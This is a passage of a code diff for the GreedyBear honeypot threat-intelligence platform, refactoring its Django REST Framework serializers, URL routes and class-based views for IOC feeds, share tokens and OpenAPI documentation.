max_length=10000, + error_messages={"min_length": "At least one event is required.", "max_length": "Batch size cannot exceed 10,000 events."}, + ) diff --git a/api/serializers/feeds.py b/api/serializers/feeds.py new file mode 100644 index 000000000..02bae0cfa --- /dev/null +++ b/api/serializers/feeds.py @@ -0,0 +1,396 @@ +import hashlib +import logging +from collections.abc import Mapping + +from django.core import signing +from django.core.exceptions import FieldDoesNotExist +from rest_framework import serializers + +from api.serializers.common import SensorSerializer, TagSerializer +from api.serializers.utils import feed_type_as_list, get_valid_feed_types +from greedybear.consts import SHARE_TOKEN_MAX_AGE, SHARE_TOKEN_SALT +from greedybear.enums import IpReputation +from greedybear.models import IOC, ShareToken + +logger = logging.getLogger(__name__) + +FEED_DEFAULTS = { + "max_age": 3, + "min_days_seen": 1, + "feed_size": 5000, + "include_reputation": [], + "exclude_reputation": [], + "verbose": False, + "paginate": False, +} + +PRIORITIZATION_PRESETS = { + "recent": {"max_age": 3, "min_days_seen": 1, "ordering": "-last_seen"}, + "persistent": {"max_age": 14, "min_days_seen": 10, "ordering": "-attack_count"}, + "likely_to_recur": {"max_age": 30, "min_days_seen": 1, "ordering": "-recurrence_probability"}, + "most_expected_hits": {"max_age": 30, "min_days_seen": 1, "ordering": "-expected_interactions"}, +} + + +### FIELDS ### +class FeedTypeField(serializers.CharField): + """CharField for the feed_type query parameter. + Accepts a single value or a comma-separated list of strings. + Although the field is exposed as as CharField, + the internal representation is always a list. + """ + + def to_internal_value(self, data: str) -> list[str]: + feed_type_str = super().to_internal_value(data) + logger.debug(f"Validating feed_type: {feed_type_str}") + feed_type_list = feed_type_as_list(feed_type_str) + if not feed_type_list: + raise serializers.ValidationError("Invalid feed_type: must not be empty") + if "all" in feed_type_list and len(feed_type_list) > 1: + raise serializers.ValidationError("Invalid feed_type: 'all' cannot be combined with other feed types") + invalid_feed_types = set(feed_type_list) - get_valid_feed_types() + if invalid_feed_types: + raise serializers.ValidationError(f"Invalid feed_type: {', '.join(sorted(invalid_feed_types))} not supported") + return feed_type_list + + def get_default(self) -> list[str]: + """Convert the declared default ("all") to a list ["all"] + to match internal representaion of other values. + """ + return [super().get_default()] + + +class PresenceFlagField(serializers.BooleanField): + """BooleanField for presence-flag query params. + Makes sure that a valueless query param such as include_mass_scanners + is treated as truthy. + """ + + TRUE_VALUES = serializers.BooleanField.TRUE_VALUES | {""} + + +class ReputationListField(serializers.ListField): + """ListField for the include_reputation and exclude_reputation query params. + Takes a query string that contains ``;``-separated values + and represents it as a list. + """ + + def to_internal_value(self, data: str) -> list[str]: + logger.debug(f"Converting reputation list: {data}") + reputations = data.split(";") if data else [] + return super().to_internal_value(reputations) + + +### REQUESTS ### +class BaseFeedRequestSerializer(serializers.Serializer): + """Shared base for the feed request serializers (simple, advanced, ASN). + Declares the parameters common to every feed endpoint + and the query-string normalization they all rely on. + + Not used directly as an endpoint serializer; + subclasses add their own fields and validation logic. + """ + + feed_type = FeedTypeField(default="all", help_text="Honeypot name (e.g. `cowrie`), a comma-separated list, or `all`.") + attack_type = serializers.ChoiceField( + choices=["scanner", "payload_request", "all"], default="all", help_text="Restrict to scanners, payload requests, or both." + ) + ioc_type = serializers.ChoiceField(choices=["ip", "domain", "all"], default="all", help_text="Restrict to IPs, domains, or both.") + ordering = serializers.CharField(default="-last_seen", help_text="IOC field to order by; prefix with `-` for descending (e.g. `-last_seen`).") + format = serializers.ChoiceField(choices=["csv", "json", "txt", "stix21"], default="json", help_text="Output representation.") + + def to_internal_value(self, data: Mapping) -> dict: + """Normalize raw query params before field validation: + - lower-case all string values + - accept format_ (legacy name) as an alias for format + """ + logger.debug("Normalizing raw query") + if isinstance(data, Mapping): + data = {key: value.lower() if isinstance(value, str) else value for key, value in data.items()} + if "format_" in data and "format" not in data: + data["format"] = data["format_"] + return super().to_internal_value(data) + + def validate_ordering(self, ordering: str) -> str: + """Validate ordering against the IOC model fields and return it normalized.""" + logger.debug(f"Validating ordering: {ordering}") + if not ordering: + raise serializers.ValidationError("Invalid ordering: ") + normalized_ordering = ordering.lower().replace("value", "name") + field_name = normalized_ordering.removeprefix("-") + try: + IOC._meta.get_field(field_name) + except FieldDoesNotExist as exc: + raise serializers.ValidationError(f"Invalid ordering: {ordering}") from exc + return normalized_ordering + + +class SimpleFeedRequestSerializer(BaseFeedRequestSerializer): + """Serializer for the public feed endpoints. + Exposes only a curated set of inputs + and expands them into the full parameter set the views consume + using presets and default fallbacks. + """ + + prioritize = serializers.ChoiceField( + choices=["recent", "persistent", "likely_to_recur", "most_expected_hits"], + default="recent", + help_text="Preset selecting the age window, minimum days seen and default ordering.", + ) + include_mass_scanners = PresenceFlagField(default=False, help_text="Include IOCs flagged as mass scanners.") + include_tor_exit_nodes = PresenceFlagField(default=False, help_text="Include IOCs that are Tor exit nodes.") + # allows explicit override of the ordering in PRIORITIZATION_PRESETS + ordering = serializers.CharField(required=False, help_text="Override the preset ordering, e.g. `-attack_count`.") + + def validate(self, data: dict) -> dict: + logger.debug("Validating simple feed request") + data = super().validate(data) + prioritization_preset = PRIORITIZATION_PRESETS[data["prioritize"]] + exclude_reputation = [] + if not data["include_mass_scanners"]: + exclude_reputation.append(IpReputation.MASS_SCANNER) + if not data["include_tor_exit_nodes"]: + exclude_reputation.append(IpReputation.TOR_EXIT_NODE) + return { + **FEED_DEFAULTS, + **prioritization_preset, + **data, + "exclude_reputation": exclude_reputation, + } + + +class AdvancedFeedRequestSerializer(BaseFeedRequestSerializer): + """Serializer for the authenticated advanced feed endpoint. + Exposes the full set of filtering, scoring and pagination parameters directly, + taking default fallback values from FEED_DEFAULTS. + """ + + max_age = serializers.IntegerField( + min_value=1, + default=FEED_DEFAULTS["max_age"], + help_text="Maximum age in days since an IOC was last seen. Ignored when `start_date` or `end_date` is given.", + ) + min_days_seen = serializers.IntegerField(min_value=1, default=FEED_DEFAULTS["min_days_seen"], help_text="Minimum distinct days an IOC has been seen.") + feed_size = serializers.IntegerField(min_value=1, default=FEED_DEFAULTS["feed_size"], help_text="Maximum number of IOCs to return.") + include_reputation = ReputationListField( + child=serializers.CharField(max_length=120), default=FEED_DEFAULTS["include_reputation"], help_text="`;`-separated reputations to include." + ) + exclude_reputation = ReputationListField( + child=serializers.CharField(max_length=120), default=FEED_DEFAULTS["exclude_reputation"], help_text="`;`-separated reputations to exclude." + ) + verbose = serializers.BooleanField(default=FEED_DEFAULTS["verbose"], help_text="Include extended per-IOC fields in JSON output.") + paginate = serializers.BooleanField(default=FEED_DEFAULTS["paginate"], help_text="Paginate the response (forces JSON output).") + min_credential_count = serializers.IntegerField(required=False, min_value=1, help_text="Only IOCs with at least this many associated credentials.") + max_credential_count = serializers.IntegerField(required=False, min_value=0, help_text="Only IOCs with at most this many associated credentials.") + asn = serializers.IntegerField(min_value=1, required=False, allow_null=True, help_text="Filter by autonomous system number.") + min_score = serializers.FloatField(min_value=0, max_value=1, required=False, allow_null=True, help_text="Minimum recurrence probability between 0 and 1.") + min_expected_interactions = serializers.FloatField(min_value=0, required=False, allow_null=True, help_text="Minimum expected interactions.") + port = serializers.IntegerField(min_value=1, max_value=65535, required=False, allow_null=True, help_text="Filter by attacked destination port.") + start_date = serializers.DateField(format="%Y-%m-%d", required=False, allow_null=True, help_text="Only IOCs last seen on or after this date (YYYY-MM-DD).") + end_date = serializers.DateField(format="%Y-%m-%d", required=False, allow_null=True, help_text="Only IOCs last seen on or before this date (YYYY-MM-DD).") + tag_key = serializers.CharField(max_length=128, required=False, allow_blank=True, help_text="Filter by tag key (case-insensitive exact match).") + tag_value = serializers.CharField(max_length=256, required=False, allow_blank=True, help_text="Filter by tag value.") + country_code = serializers.CharField(max_length=2, required=False, allow_blank=True, help_text="Filter by 2-letter attacker country code.") + + def validate(self, data: dict) -> dict: + logger.debug("Validating advanced feed request") + data = super().validate(data) + # .get() instead of [] so subclasses without the paginate field (ASN) can reuse this + if data.get("paginate"): + data["format"] = "json" + min_cc = data.get("min_credential_count") + max_cc = data.get("max_credential_count") + if min_cc is not None and max_cc is not None and min_cc > max_cc: + raise serializers.ValidationError("min_credential_count must be less than or equal to max_credential_count") + return data + + +class ASNFeedRequestSerializer(AdvancedFeedRequestSerializer): + """Serializer for the ASN-aggregated feed endpoint. + Restricts ordering to the aggregated fields in ALLOWED_ORDERING_FIELDS + rather than IOC model fields. + """ + + ALLOWED_ORDERING_FIELDS = frozenset( + { + "asn", + "as_name", + "ioc_count", + "total_attack_count", + "total_interaction_count", + "total_login_attempts", + "expected_ioc_count", + "expected_interactions", + "first_seen", + "last_seen", + } + ) + + # Remove inherited advanced fields that have no effect on the aggregated ASN feed + format = None + feed_size = None + verbose = None + paginate = None + + asn = serializers.IntegerField(min_value=1, required=False, allow_null=True, help_text="Only display results of this autonomous system number.") + ordering = serializers.CharField(default="-ioc_count", help_text="Aggregate field to order by (e.g. `-ioc_count`, `-total_attack_count`).") + + def validate_ordering(self, ordering: str) -> str: + logger.debug(f"Validating ordering: {ordering}") + field_name = ordering.removeprefix("-") + if field_name not in self.ALLOWED_ORDERING_FIELDS: + raise serializers.ValidationError( + f"Invalid ordering field for ASN aggregated feed: '{field_name}'. Allowed fields: {', '.join(sorted(self.ALLOWED_ORDERING_FIELDS))}" + ) + + return ordering + + +class ShareFeedRequestSerializer(AdvancedFeedRequestSerializer): + """Validate a share request: the advanced-feed params plus an optional reason note.""" + + reason = serializers.CharField( + required=False, allow_blank=True, default="", help_text="Optional free-text note stored for auditing (truncated to 256 chars)." + ) + + def to_internal_value(self, data: Mapping) -> dict: + validated = super().to_internal_value(data) + if isinstance(data, Mapping) and "reason" in data: + validated["reason"] = data["reason"].strip()[:256] # keep original case and truncate + return validated + + +class TokenRequestSerializer(serializers.Serializer): + """Resolve a signed share token to its DB record and decoded feed parameters.""" + + token = serializers.CharField(help_text="A valid and signed share token.") + + def validate(self, data: dict) -> dict: + logger.debug("Validating share token") + token = data["token"] + token_hash = hashlib.sha256(token.encode()).hexdigest() + try: + data["share_token"] = ShareToken.objects.get(token_hash=token_hash) + except ShareToken.DoesNotExist as exc: + raise serializers.ValidationError("Invalid or expired token") from exc + try: + data["feed_params"] = signing.loads(token, salt=SHARE_TOKEN_SALT, max_age=SHARE_TOKEN_MAX_AGE) + except signing.BadSignature as exc: + raise serializers.ValidationError("Invalid or expired token") from exc + return data + + +class TokenConsumeRequestSerializer(TokenRequestSerializer): + """Consume additionally rejects revoked tokens (a revoked link must not return data).""" + + def validate(self, data: dict) -> dict: + data = super().validate(data) + if data["share_token"].revoked: + raise serializers.ValidationError("Token has been revoked") + return data + + +### RESPONSES ### +class ASNFeedSerializer(serializers.Serializer): + """Response for the AS endpoint with aggregated IOC data.""" + + asn = serializers.IntegerField(min_value=1) + as_name = serializers.CharField(max_length=256, allow_blank=True) + ioc_count = serializers.IntegerField(min_value=0) + total_attack_count = serializers.IntegerField(min_value=0) + total_interaction_count = serializers.IntegerField(min_value=0) + total_login_attempts = serializers.IntegerField(min_value=0) + expected_ioc_count = serializers.FloatField(min_value=0) + expected_interactions = serializers.FloatField(min_value=0) + first_seen = serializers.DateTimeField() + last_seen = serializers.DateTimeField() + honeypots = serializers.ListField(child=serializers.CharField(max_length=120)) + + +class ShareTokenResponseSerializer(serializers.Serializer): + """Response for the share endpoint: the public consume and revoke URLs.""" + + url = serializers.URLField(help_text="Public URL that consumes the shared feed.") + revoke_url = serializers.URLField(help_text="URL that revokes the share token.") + + +class ShareTokenListItemSerializer(serializers.Serializer): + """One row of the caller's share-token list (metadata only, no token value).""" + + hash_prefix = serializers.SerializerMethodField(help_text="First 12 characters of the token hash.") + reason = serializers.CharField(allow_blank=True) + created_at = serializers.DateTimeField() + revoked = serializers.BooleanField() + revoked_at = serializers.DateTimeField(allow_null=True) + + def get_hash_prefix(self, obj) -> str: + return obj["token_hash"][:12] + + +""" +== Serializers for feed response data structure. == +NOTE: The serializers below are currently NOT used in production code (as of #629). +It has been kept in the codebase for the following reasons: + +1. **Documentation**: Serves as a clear schema definition for the API response contract +2. **Testing**: Validates the expected response structure through unit tests +3. **Future-proofing**: Allows easy re-enabling of validation if security requirements change +4. **Reference**: Useful for API consumers and developers to understand the response format + +Performance Optimization Context: +Previously, this serializer was instantiated and validated for each IOC in the response +(up to 5000 times per request), causing significant overhead (~1.8s for 5000 IOCs). +The optimization removed this per-item validation since the data is constructed internally +in api/views/utils.py (build_ioc_json_list / build_feed_dict) and guaranteed to match this schema. + +The response is now built directly without serializer validation, reducing response time +to ~0.03s (50-90x speedup) while maintaining the exact same API contract defined here. + +See: #629 for benchmarking details and discussion. +""" + + +class SimpleFeedResponseSerializer(serializers.Serializer): + feed_type = serializers.ListField(child=serializers.CharField(max_length=120)) + value = serializers.CharField(max_length=256) + scanner = serializers.BooleanField() + payload_request = serializers.BooleanField() + first_seen = serializers.DateField(format="%Y-%m-%d") + last_seen = serializers.DateField(format="%Y-%m-%d") + attack_count = serializers.IntegerField(min_value=1) + interaction_count = serializers.IntegerField(min_value=1) + ip_reputation = serializers.CharField(allow_blank=True, max_length=32) + asn = serializers.IntegerField(allow_null=True, min_value=1) + destination_port_count = serializers.IntegerField(min_value=0) + login_attempts = serializers.IntegerField(min_value=0) + recurrence_probability = serializers.FloatField(min_value=0, max_value=1) + expected_interactions = serializers.FloatField(min_value=0) + attacker_country = serializers.CharField(allow_null=True, allow_blank=True, max_length=120) + attacker_country_code = serializers.CharField(allow_null=True, allow_blank=True, max_length=2) + tags = TagSerializer(many=True, required=False, default=list) + + +class AdvancedFeedResponseSerializer(SimpleFeedResponseSerializer): + credential_count = serializers.IntegerField(min_value=0) + sensors = SensorSerializer(many=True, required=False, default=list) + firehol_categories = serializers.ListField(child=serializers.CharField(max_length=64), allow_empty=True, required=False) + destination_ports = serializers.ListField(child=serializers.IntegerField(min_value=1, max_value=65535), required=False) + days_seen = serializers.ListField(child=serializers.DateField(format="%Y-%m-%d"), required=False) + + +class BaseFeedEnvelopeSerializer(serializers.Serializer): + license = serializers.CharField(required=False, help_text="Feed license text, present when configured.") + + +class SimpleFeedEnvelopeSerializer(BaseFeedEnvelopeSerializer): + iocs = SimpleFeedResponseSerializer(many=True) + + +class PaginatedSimpleFeedSerializer(serializers.Serializer): + count = serializers.IntegerField(help_text="Total number of IOCs across all pages.") + total_pages = serializers.IntegerField(help_text="Total number of pages.") + results = SimpleFeedEnvelopeSerializer() + + +class AdvancedFeedEnvelopeSerializer(BaseFeedEnvelopeSerializer): + iocs = AdvancedFeedResponseSerializer(many=True) diff --git a/api/serializers/utils.py b/api/serializers/utils.py new file mode 100644 index 000000000..02f486fd2 --- /dev/null +++ b/api/serializers/utils.py @@ -0,0 +1,29 @@ +import logging + +from greedybear.models import Honeypot + +logger = logging.getLogger(__name__) + + +def feed_type_as_list(feed_type_str: str) -> list: + """Split a comma-separated feed type string into a stripped list of individual feed types. + + Args: + feed_type_str (str): Comma-separated feed type string (e.g. "cowrie,adbhoney"). + + Returns: + list[str]: List of non-empty, stripped feed type tokens. + """ + return [ft.strip() for ft in feed_type_str.split(",") if ft.strip()] + + +def get_valid_feed_types() -> frozenset[str]: + """ + Retrieve all valid feed types, combining predefined types with active general honeypot names. + + Returns: + frozenset[str]: An immutable set of valid feed type strings + """ + honeypots = Honeypot.objects.filter(active=True) + feed_types = ["all"] + [hp.name.lower() for hp in honeypots] + return frozenset(feed_types) diff --git a/api/urls.py b/api/urls.py index 87e2797b0..05755a6ae 100644 --- a/api/urls.py +++ b/api/urls.py @@ -1,23 +1,22 @@ # This file is a part of GreedyBear https://github.com/honeynet/GreedyBear # See the file 'LICENSE' for copying permission. from django.urls import include, path +from drf_spectacular.views import SpectacularAPIView, SpectacularRedocView, SpectacularSwaggerView from rest_framework import routers from api.views import ( + AdvancedFeedView, + AsnFeedView, + ConsumeFeedView, + PaginatedFeedView, + ShareTokenViewSet, + SimpleFeedView, StatisticsViewSet, command_sequence_view, cowrie_session_view, enrichment_view, event_status_view, events_create_view, - feeds, - feeds_advanced, - feeds_asn, - feeds_consume, - feeds_pagination, - feeds_revoke, - feeds_share, - feeds_tokens, general_honeypot_list, health_view, news_view, @@ -28,16 +27,28 @@ router = routers.DefaultRouter(trailing_slash=False) router.register(r"statistics", StatisticsViewSet, basename="statistics") -# These come after /api/.. +# These come after /api/ +# and will appear in the generated schema +documented_urlpatterns = [ + # Feeds + path("feeds///.", SimpleFeedView.as_view()), + path("feeds/", PaginatedFeedView.as_view()), + path("feeds/advanced/", AdvancedFeedView.as_view()), + path("feeds/asn/", AsnFeedView.as_view()), + path("feeds/share", ShareTokenViewSet.as_view({"get": "share"})), + path("feeds/consume/", ConsumeFeedView.as_view()), + path("feeds/revoke/", ShareTokenViewSet.as_view({"get": "revoke"})), + path("feeds/tokens/", ShareTokenViewSet.as_view({"get": "list_tokens"})), +] +schema_urlconf = [path("api/", include(documented_urlpatterns))] + +# These come after /api/ +# but won't appear in the generated schema urlpatterns = [ - path("feeds/", feeds_pagination), - path("feeds/share", feeds_share), - path("feeds/consume/", feeds_consume), - path("feeds/revoke/", feeds_revoke), - path("feeds/tokens/", feeds_tokens), - path("feeds/advanced/", feeds_advanced), - path("feeds/asn/", feeds_asn), - path("feeds///.", feeds), + # OpenAPI schema and interactive docs + path("schema/", SpectacularAPIView.as_view(urlconf=schema_urlconf), name="schema"), + path("schema/swagger-ui/", SpectacularSwaggerView.as_view(url_name="schema"), name="swagger-ui"), + path("schema/redoc/", SpectacularRedocView.as_view(url_name="schema"), name="redoc"), path("enrichment", enrichment_view), path("cowrie_session", cowrie_session_view), path("command_sequence", command_sequence_view), @@ -54,4 +65,5 @@ path("", include("certego_saas.urls")), # auth path("auth/", include("authentication.urls")), + *documented_urlpatterns, ] diff --git a/api/views/feeds.py b/api/views/feeds.py index 7756a801f..63bdd8aa2 100644 --- a/api/views/feeds.py +++ b/api/views/feeds.py @@ -1,373 +1,464 @@ # This file is a part of GreedyBear https://github.com/honeynet/GreedyBear # See the file 'LICENSE' for copying permission. import hashlib -import logging from certego_saas.apps.auth.backend import CookieTokenAuthentication from certego_saas.ext.pagination import CustomPageNumberPagination +from django.contrib.postgres.aggregates import ArrayAgg from django.core import signing +from django.db.models import Count, F, Q, QuerySet, Value +from django.db.models.functions import JSONObject +from django.http import HttpResponseBase from django.utils import timezone +from drf_spectacular.types import OpenApiTypes +from drf_spectacular.utils import OpenApiParameter, OpenApiResponse, extend_schema, extend_schema_view from rest_framework import status -from rest_framework.decorators import ( - api_view, - authentication_classes, - permission_classes, - throttle_classes, -) -from rest_framework.permissions import IsAuthenticated +from rest_framework.permissions import AllowAny, IsAuthenticated +from rest_framework.request import Request from rest_framework.response import Response - -from api.serializers import ASNFeedsOrderingSerializer +from rest_framework.views import APIView +from rest_framework.viewsets import ViewSet + +from api.filters import FeedsFilterSet +from api.mixins import CachedResponseMixin, RequestLoggingMixin +from api.renderers import FeedCSVRenderer, FeedJSONRenderer, FeedTextRenderer, Stix21Renderer +from api.serializers import ( + AdvancedFeedEnvelopeSerializer, + AdvancedFeedRequestSerializer, + ASNFeedRequestSerializer, + ASNFeedSerializer, + PaginatedSimpleFeedSerializer, + ShareFeedRequestSerializer, + ShareTokenListItemSerializer, + ShareTokenResponseSerializer, + SimpleFeedEnvelopeSerializer, + SimpleFeedRequestSerializer, + TokenConsumeRequestSerializer, + TokenRequestSerializer, +) from api.throttles import FeedsAdvancedThrottle, FeedsThrottle, SharedFeedRateThrottle from api.views.utils import ( - FeedRequestParams, - asn_aggregated_queryset, - feeds_response, - get_queryset, - get_valid_feed_types, + aggregate_iocs_by_asn, + build_feed_dict, + save_request_source, ) -from greedybear.consts import GET -from greedybear.models import ShareToken - -logger = logging.getLogger(__name__) - -ALLOWED_UNAUTHENTICATED_QUERY_PARAMS = [ - "feed_type", - "attack_type", - "ioc_type", - "ordering", - "include_mass_scanners", - "include_tor_exit_nodes", - "prioritize", -] - -_TOKEN_LIST_FIELDS = ( - "token_hash", - "reason", - "created_at", - "revoked", - "revoked_at", +from greedybear.consts import SHARE_TOKEN_SALT +from greedybear.models import IOC, ShareToken + +RENDERERS_BY_FORMAT = { + "json": FeedJSONRenderer, + "txt": FeedTextRenderer, + "csv": FeedCSVRenderer, + "stix21": Stix21Renderer, +} + +RESPONSES = { + 400: OpenApiResponse(description="Invalid feed parameters."), + 401: OpenApiResponse(description="Authentication credentials were not provided or are invalid."), + 429: OpenApiResponse(description="Rate limit exceeded."), +} + +PAGE_PARAMETER = OpenApiParameter( + "page", + OpenApiTypes.INT, + OpenApiParameter.QUERY, + description="1-based page number. Only meaningful when the response is paginated.", ) -@api_view([GET]) -@throttle_classes([FeedsThrottle]) -def feeds(request, feed_type, attack_type, prioritize, format_): - """ - Handle requests for IOC feeds with specific parameters and format the response accordingly. - - Args: - request: The incoming request object. - feed_type (str): Type of feed (e.g. cowrie, honeytrap, etc.). - attack_type (str): Type of attack (e.g., all, specific attack types). - prioritize (str): Prioritization mechanism to use (e.g., recent, persistent). - format_ (str): Desired format of the response (e.g., json, csv, txt). - include_mass_scanners (bool): query parameter flag to include IOCs that are known mass scanners. - include_tor_exit_nodes (bool): query parameter flag to include IOCs that are known tor exit nodes. - - Returns: - Response: The HTTP response with formatted IOC data. - """ - logger.info(f"request /api/feeds with params: feed type: {feed_type}, attack_type: {attack_type}, prioritization: {prioritize}, format: {format_}") - - filtered_query_params = {key: request.query_params.get(key) for key in ALLOWED_UNAUTHENTICATED_QUERY_PARAMS if key in request.query_params} - - feed_params_data = filtered_query_params.copy() - feed_params_data.update({"feed_type": feed_type, "attack_type": attack_type, "format": format_}) - feed_params = FeedRequestParams(feed_params_data) - feed_params.apply_default_filters(filtered_query_params) - feed_params.set_prioritization(prioritize) +class BaseFeedView(RequestLoggingMixin, CachedResponseMixin, APIView): + """Shared GET flow: + validate request params, build the IOC queryset and render (paginating when asked). - valid_feed_types = get_valid_feed_types() - iocs_queryset = get_queryset(request, feed_params, valid_feed_types) - return feeds_response(request, iocs_queryset, feed_params, valid_feed_types) + Subclasses represent the actual endpoints and are typically attribute-only. + They set the usual DRF class attributes and the feed-specific toggles + overriding the defaults below. - -@api_view([GET]) -@throttle_classes([FeedsThrottle]) -def feeds_pagination(request): - """ - Handle requests for paginated IOC feeds based on query parameters. - - Args: - request: The incoming request object. - - Returns: - Response: The paginated HTTP response with IOC data. + Responses are cached via CachedResponseMixin + The extraction pipeline invalidates them on every run. """ - logger.info(f"request /api/feeds with params: {request.query_params}") - - filtered_query_params = {key: request.query_params.get(key) for key in ALLOWED_UNAUTHENTICATED_QUERY_PARAMS if key in request.query_params} - - feed_params = FeedRequestParams(filtered_query_params) - feed_params.format = "json" - feed_params.apply_default_filters(filtered_query_params) - feed_params.set_prioritization(filtered_query_params.get("prioritize")) - - valid_feed_types = get_valid_feed_types() - iocs_queryset = get_queryset(request, feed_params, valid_feed_types) - paginator = CustomPageNumberPagination() - iocs = paginator.paginate_queryset(iocs_queryset, request) - resp_data = feeds_response(request, iocs, feed_params, valid_feed_types, dict_only=True) - return paginator.get_paginated_response(resp_data) - - -@api_view([GET]) -@authentication_classes([CookieTokenAuthentication]) -@permission_classes([IsAuthenticated]) -@throttle_classes([FeedsAdvancedThrottle]) -def feeds_advanced(request): - """ - Handle requests for IOC feeds based on query parameters and format the response accordingly. - - Args: - request: The incoming request object. - feed_type (str): Type of feed to retrieve. (supported: `cowrie`, `honeytrap`, etc.; default: `all`) - attack_type (str): Type of attack to filter. (supported: `scanner`, `payload_request`, `all`; default: `all`) - max_age (int): Maximum number of days since last occurrence. E.g. an IOC that was last seen 4 days ago is excluded by default. (default: 3) - min_days_seen (int): Minimum number of days on which an IOC must have been seen. (default: 1) - min_credential_count (int, optional): Filter IOCs with at least this many distinct credentials. (default: no filter) - max_credential_count (int, optional): Filter IOCs with at most this many distinct credentials. (default: no filter) - include_reputation (str): `;`-separated list of reputation values to include, e.g. `known attacker` or `known attacker;` to include IOCs without reputation. (default: include all) - exclude_reputation (str): `;`-separated list of reputation values to exclude, e.g. `mass scanner` or `mass scanner;bot, crawler`. (default: exclude none) - feed_size (int): Number of IOC items to return. (default: 5000) - ordering (str): Field to order results by, with optional `-` prefix for descending. (default: `-last_seen`) - verbose (bool): `true` to include IOC properties that contain a lot of data, e.g. the list of days it was seen. (default: `false`) - paginate (bool): `true` to paginate results. This forces the json format. (default: `false`) - format (str): Response format type. Besides `json`, `txt` and `csv` are supported but the response will only contain IOC values (e.g. IP addresses) without further information. (default: `json`) - tag_key (str, optional): Filter IOCs by tag key, e.g. `malware` or `confidence_of_abuse`. Only IOCs with at least one matching tag are returned. - tag_value (str, optional): Filter IOCs by tag value (case-insensitive substring match), e.g. `mirai`. Can be used alone or combined with `tag_key`. - - Returns: - Response: The HTTP response with formatted IOC data. - """ - logger.info(f"request /api/feeds/advanced/ with params: {request.query_params}") - feed_params = FeedRequestParams(request.query_params) - verbose = feed_params.verbose == "true" - paginate = feed_params.paginate == "true" - if paginate: - feed_params.format = "json" - valid_feed_types = get_valid_feed_types() - iocs_queryset = get_queryset( - request, - feed_params, - valid_feed_types, - tag_key=request.query_params.get("tag_key", "").strip(), - tag_value=request.query_params.get("tag_value", "").strip(), - include_sensors=True, - include_credential_count=True, + # ACCESS CONTROL + authentication_classes = [CookieTokenAuthentication] + permission_classes = [AllowAny] + throttle_classes = [FeedsThrottle] + renderer_classes = [FeedJSONRenderer, FeedTextRenderer, FeedCSVRenderer, Stix21Renderer] + + # REQUEST HANDLING + serializer_class = None + pagination_class = None + + # QUERYSET SHAPE + include_sensors = False + is_aggregated = False + + # VALIDATED REQUEST PARAMETERS - populated in get() + request_params = None + + # OUTPUT SHAPE - set dynamically, depending on the requested format + build_feed_envelope = False + + # RESPONSE CACHING - do not override in subclasses + cache_namespace = "feeds" + + def get_request_data(self, request, **kwargs) -> dict: + """Raw input mapping handed to the serializer. + Defaults to the query params. + Override to merge path parameters or token data.""" + return request.query_params.dict() + + def validate_request(self, request: Request, **kwargs) -> dict: + """Run the request data through a serializer and return the validated params, + raising ValidationError (HTTP 400) on bad input.""" + serializer = self.serializer_class(data=self.get_request_data(request, **kwargs)) + serializer.is_valid(raise_exception=True) + return serializer.validated_data + + def should_paginate(self, request_data: dict) -> bool: + """Whether to paginate this response. + Requires a pagination_class and the validated paginate flag.""" + return self.pagination_class is not None and request_data.get("paginate", False) + + def get_renderer_context(self) -> dict: + """Publish the render-time flags the feed renderers need, so they read + explicit context keys instead of reaching into view internals.""" + context = super().get_renderer_context() + context["verbose"] = (self.request_params or {}).get("verbose", False) + context["include_sensors"] = self.include_sensors + context["build_feed_envelope"] = self.build_feed_envelope + return context + + def get_queryset(self) -> QuerySet: + """Build the IOC queryset from the validated request parameters.""" + iocs = IOC.objects.annotate(value=F("name")) + iocs = FeedsFilterSet(self.request_params, queryset=iocs, request=self.request).qs + + iocs = iocs.exclude(ip_reputation__in=self.request_params.get("exclude_reputation", [])).distinct() + + if "all" not in self.request_params["feed_type"]: + type_filter = Q() + for ft in self.request_params["feed_type"]: + type_filter |= Q(honeypots__name__iexact=ft) + iocs = iocs.filter(type_filter) + + if self.is_aggregated: + return iocs + + iocs = iocs.filter(honeypots__active=True) + iocs = iocs.annotate(honeypot_names=ArrayAgg("honeypots__name", distinct=True)) + if self.request_params["format"] == "json": + iocs = iocs.annotate( + tags_json=ArrayAgg( + JSONObject(key=F("tags__key"), value=F("tags__value"), source=F("tags__source")), + filter=Q(tags__isnull=False), + default=Value([]), + distinct=True, + ) + ) + return iocs + + def sort_and_slice_queryset(self, qs: QuerySet) -> QuerySet: + """Apply the requested ordering and cap the result at feed_size. + Aggregated views are returned untouched.""" + if self.is_aggregated: + return qs + return qs.order_by(self.request_params["ordering"])[: self.request_params["feed_size"]] + + def render_response(self, request: Request, iocs_queryset: QuerySet) -> HttpResponseBase: + """Select the renderer for the validated format and hand it the prepared data.""" + if self.should_paginate(self.request_params): + verbose = self.request_params.get("verbose", False) + paginator = self.pagination_class() + page = paginator.paginate_queryset(iocs_queryset, request) + resp_data = build_feed_dict(page, verbose=verbose, include_sensors=self.include_sensors) + request.accepted_renderer = FeedJSONRenderer() + request.accepted_media_type = FeedJSONRenderer.media_type + return paginator.get_paginated_response(resp_data) + + # Hand the raw queryset to the renderer and flag it for envelope shaping. + # Set only here so error/exception responses (which bypass render_response) + # and the pre-built paginated/ASN payloads are left as plain JSON. + renderer = RENDERERS_BY_FORMAT[self.request_params["format"]]() + request.accepted_renderer = renderer + request.accepted_media_type = renderer.media_type + self.build_feed_envelope = True + return Response(iocs_queryset) + + def get(self, request: Request, *args, **kwargs) -> HttpResponseBase: + """Validate the request, build and sort the IOC queryset, + render it in the requested format, and optionally paginate.""" + self.request_params = self.validate_request(request, **kwargs) + save_request_source(request) + cached_response = self.get_cached_response() + if cached_response is not None: + return cached_response + iocs_queryset = self.get_queryset() + iocs_queryset = self.sort_and_slice_queryset(iocs_queryset) + return self.render_response(request, iocs_queryset) + + +@extend_schema_view( + get=extend_schema( + tags=["Feeds"], + summary="Public feed (path-parameter form)", + description="Public threat feed addressed through the URL path.", + auth=[], + parameters=[ + SimpleFeedRequestSerializer, + # drop the URL path params the serializer would otherwise generate + OpenApiParameter("feed_type", exclude=True), + OpenApiParameter("attack_type", exclude=True), + OpenApiParameter("prioritize", exclude=True), + OpenApiParameter("format", exclude=True), + ], + responses={ + 200: SimpleFeedEnvelopeSerializer, + 400: RESPONSES[400], + 429: RESPONSES[429], + }, ) - if paginate: - paginator = CustomPageNumberPagination() - iocs = paginator.paginate_queryset(iocs_queryset, request) - resp_data = feeds_response(request, iocs, feed_params, valid_feed_types, dict_only=True, verbose=verbose, include_sensors=True) - return paginator.get_paginated_response(resp_data) - return feeds_response(request, 